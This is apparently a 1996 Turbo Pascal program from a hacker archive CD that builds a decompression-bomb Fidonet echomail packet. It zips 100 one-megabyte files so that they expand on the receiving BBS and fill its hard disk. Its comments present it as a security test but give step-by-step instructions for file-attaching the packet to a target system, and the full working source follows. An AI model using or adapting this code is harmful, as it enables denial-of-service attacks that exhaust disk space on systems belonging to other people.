home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / bbs / makea.pas < prev    next >
Encoding:
Pascal/Delphi Source File  |  2003-06-11  |  5.6 KB  |  122 lines

  1. (*                                                                           *)
  2. (* MAKEA.PAS - A Turbo Pascal Program for testing Fidonet echomail security  *)
  3. (*                                                                           *)
  4. (* This program was written and tested in Turbo Pascal 7, it should compile  *)
  5. (* fine in TP5.5 and 6 if that's what you have.  This file should compile    *)
  6. (* right "out of the box" without modification; if it doesn't you might have *)
  7. (* a hacked or corrupted copy.                                               *)
  8. (*                                                                           *)
  9. (* This program aids in testing the security of echomail systems in Fidonet  *)
  10. (* by creating a valid ZIP archive echomail packet.  This packet appears     *)
  11. (* relatively innocuous at about 100k in size (typical for many echomail     *)
  12. (* systems) but it contains PKT files which expand to a megabyte apiece.     *)
  13. (* Up to 100 of these 1 meg files will be created, if the target system's    *)
  14. (* hard drive has enough space.  Fortunately, only one 1MB file is created   *)
  15. (* on your system when you run the program.  You should have 1.5 MB free.    *)
  16. (*                                                                           *)
  17. (* To test the security of another system, take the following steps:         *)
  18. (*                                                                           *)
  19. (* (1) Compile and run this program.  It will create a packet file calling   *)
  20. (* PKZIP.EXE (if found on your path).  This operation will take several      *)
  21. (* minutes, depending on the speed of your system.                           *)
  22. (*                                                                           *)
  23. (* (2) File-attach the file to the target system.  It is very important      *)
  24. (* that you use your own mailer with all your addresses intact and that you  *)
  25. (* not use Caller-ID blocking, so that the target sysop knows that this is   *)
  26. (* only a test and not an actual attack by a crasher.                        *)
  27. (*                                                                           *)
  28. (* That's it.  If the target system's echomail processor is insecure, there  *)
  29. (* will be up to 100 megs of .PKT files in the target's echomail directory.  *)
  30. (* If you are worried you might fill the target's hard disk during this      *)
  31. (* test, you should modify the program so as to decrease the number of files *)
  32. (* added to the packet or the size of those files.  A larger number of small *)
  33. (* files will result in a larger packet size, and unfortunately, a higher    *)
  34. (* likelihood that the test will *completely* fill the hard drive should the *)
  35. (* target be careless enough not to have 100 megs free.  And of course, NEVER*)
  36. (* send such a packet to someone who is unaware that you are conducting a    *)
  37. (* security test or at a time when the target sysop is unlikely to be        *)
  38. (* present to delete the .PKT files!                                         *)
  39. (*                                                                           *)
  40. (* This program is presented in source form because:                         *)
  41. (*                                                                           *)
  42. (* - this way you know for sure it has no virii or trojan surprises          *)
  43. (*                                                                           *)
  44. (* - you can totally reconfigure it or add features                          *)
  45. (*                                                                           *)
  46. (* - it's free and I don't care who hacks it up or how                       *)
  47. (*                                                                           *)
  48. (* - a real hacker has at least the minimal programming skill needed to      *)
  49. (*   compile a pascal program!                                               *)
  50. (*                                                                           *)
  51. (*                                                                           *)
  52. (* Program and DoubleSpeak Docs [K] KopyLeft 1996 The Kopyleftist            *)
  53. (*                                                                           *)
  54.  
  55. {$M 8192,0,0}
  56. uses dos;
  57. var i:longint;
  58.     name,nextname:string;
  59.     zipexe:string;
  60.  
  61. procedure make1megfile(filename:string); {makes a 1 meg file full of 6's}
  62. var f:text;
  63. begin
  64.   assign(f,filename);
  65.   rewrite(f);
  66.   for i:=1 to 10000 do
  67.     write(f,'6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666');
  68.   flush(f);
  69.   close(f);
  70. end;
  71.  
  72. procedure add2zip(zipname,filename:string);
  73. var c,p:string;
  74. begin
  75.   c:=zipexe;
  76.   p:=zipname+' '+filename;
  77.   swapvectors;
  78.   exec(c,p);
  79.   swapvectors;
  80. end;
  81.  
  82. procedure _rename(oldname,newname:string);
  83. var f:file;
  84. begin
  85.   assign(f,oldname);
  86.   rename(f,newname);
  87. end;
  88.  
  89. procedure getzipexe;
  90. var s:pathstr;
  91. begin
  92.   s:=fsearch('PKZIP.EXE',getenv('PATH'));
  93.   if
  94.     s=''
  95.   then
  96.     begin
  97.       writeln('Unable to locate PKZIP.EXE in path!');
  98.       halt;
  99.     end;
  100.   zipexe:=s;
  101. end;
  102.  
  103. begin
  104.   writeln('Makea by The Kopyleftist');
  105.   getzipexe;
  106.   name:='1.PKT';
  107.   writeln('Creating prototype file...');
  108.   make1megfile(name);
  109.   writeln('Adding 100 copies to bogus echomail packet zipfile 0000FFFF.MO0...');
  110.   add2zip('0000FFFF.MO0',name);
  111.   for i:=2 to 100 do
  112.     begin
  113.       str(i,nextname);
  114.       nextname:=nextname+'.PKT';
  115.       _rename(name,nextname);
  116.       name:=nextname;
  117.       add2zip('0000FFFF.MO0',name);
  118.     end;
  119. end.
  120.  
  121. (* Uploaded to: Tommy's Holiday Camp BBS  1-604-361-4549 *)
  122.